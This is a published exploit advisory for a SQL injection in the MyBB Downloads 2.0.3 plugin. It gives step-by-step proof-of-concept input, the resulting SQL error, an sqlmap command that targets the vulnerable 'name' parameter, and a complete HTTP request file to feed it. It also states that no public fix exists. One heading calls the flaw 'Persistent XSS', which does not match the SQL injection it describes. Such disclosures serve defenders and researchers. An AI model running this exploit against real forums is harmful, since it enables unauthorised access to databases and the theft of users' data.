MyBB Downloads 2.0.3 - SQL Injection

# Exploit Title: MyBB Downloads 2.0.3 - SQL Injection
# Date: 28-10-2018
# Exploit Author: Lucian Ioan Nitescu
# Contact: https://twitter.com/LucianNitescu
# Webiste: https://nitesculucian.github.io
# Vendor Homepage: https://github.com/vintagedaddyo/MyBB_Plugin-Downloads
# Software Link: https://github.com/vintagedaddyo/MyBB_Plugin-Downloads
# Version: 2.0.3
# Tested on: Ubuntu 18.04

1. Description:  

It is a plugin which adds a page to download files. If enabled, regular members can add new downloads to the page after admin approval.  

2. Proof of Concept: 

Persistent XSS  
- Go to downloads.php page  
- Create a New Download  
- Add the following to the title: a"
- Now on submit, the user will be prompted to an SQL Injection specific error.

```
MyBB has experienced an internal SQL error and cannot continue.

SQL Error:
	1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"a""' at line 1
Query:
	SELECT * FROM mybb_downloads WHERE name="a""
```

- THis can be exploited with: sqlmap -r request_file -p name --threads 5

3. Request File example:

POST /downloads.php?newdownload=1 HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8081/downloads.php?newdownload=1
Content-Type: multipart/form-data; boundary=---------------------------171894060312075061251712806160
Content-Length: 1029
Cookie: mybb[lastvisit]=1540744980; mybb[lastactive]=1540745020; sid=677a58d33fe23e7f2ea3841c79496fcd; loginattempts=1; mybbuser=3_waeMfSMiIRrTpPqW2uy8ZF8AMx8pyRtMCUJ6Gx0yoGRyLBsBow
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

-----------------------------171894060312075061251712806160
Content-Disposition: form-data; name="my_post_key"

6cb47e578ed16aa5272c55b0cb8745b4
-----------------------------171894060312075061251712806160
Content-Disposition: form-data; name="name"

a"
-----------------------------171894060312075061251712806160
Content-Disposition: form-data; name="shortdesc"

test
-----------------------------171894060312075061251712806160
Content-Disposition: form-data; name="description"

test
-----------------------------171894060312075061251712806160
Content-Disposition: form-data; name="image"


-----------------------------171894060312075061251712806160
Content-Disposition: form-data; name="url"

1
-----------------------------171894060312075061251712806160
Content-Disposition: form-data; name="numimages"

4
-----------------------------171894060312075061251712806160
Content-Disposition: form-data; name="submit"

Publish download
-----------------------------171894060312075061251712806160--

3. Solution:

There is no public available solution.